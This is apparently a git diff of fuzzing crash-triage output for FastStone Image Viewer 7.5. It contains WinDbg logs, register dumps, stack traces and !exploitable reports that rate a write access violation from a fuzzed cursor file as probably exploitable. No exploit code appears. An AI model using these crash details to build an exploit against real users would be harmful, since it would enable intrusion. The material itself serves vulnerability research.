+ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(ad4.172c): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07df7b19 edx=00000000 esi=00000000 edi=09382fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.701640555023320160000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 1.353081800000000000000e+0007 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-554.235 1.07624e-019 -1.6365e-017 1.08255e-008 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff50b 0019f9d8 005ff787 0019fa48 image00000000_00400000+0x20d6fc +0019fa48 005ff1de 0019fa70 005ff1f9 0019fa68 image00000000_00400000+0x1ff50b +0019fa68 008ef1af 0019fa7c 008ef1b9 0019fb98 image00000000_00400000+0x1ff1de +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef1af +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07ed8130 07e55930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0023d000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0023d000 352be595 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62ce 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0023d000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x2b33626d +STACK_DEPTH:15 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff50b +STACK_FRAME:image00000000_00400000+0x1ff1de +STACK_FRAME:image00000000_00400000+0x4ef1af +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x2b33626d) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/49829/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/49829/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..7b0f5f7 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/49829/WindowsDebugEngine_description.txt @@ -0,0 +1,172 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xAD4: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xAD4: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(ad4.172c): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07df7b19 edx=00000000 esi=00000000 edi=09382fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.701640555023320160000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 1.353081800000000000000e+0007 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-554.235 1.07624e-019 -1.6365e-017 1.08255e-008 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff50b 0019f9d8 005ff787 0019fa48 image00000000_00400000+0x20d6fc +0019fa48 005ff1de 0019fa70 005ff1f9 0019fa68 image00000000_00400000+0x1ff50b +0019fa68 008ef1af 0019fa7c 008ef1b9 0019fb98 image00000000_00400000+0x1ff1de +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef1af +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07ed8130 07e55930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0023d000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0023d000 352be595 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62ce 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0023d000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x2b33626d +STACK_DEPTH:15 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff50b +STACK_FRAME:image00000000_00400000+0x1ff1de +STACK_FRAME:image00000000_00400000+0x4ef1af +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x2b33626d) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/49829/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/49829/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..83b51d8 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/49829/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/10083/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/10083/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/10083/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/10083/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/10083/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..4e04b59 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/10083/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/10083/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/10083/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..e85f7e1 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/10083/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xF20: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xF20: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`001d0000 00000000`001ed000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 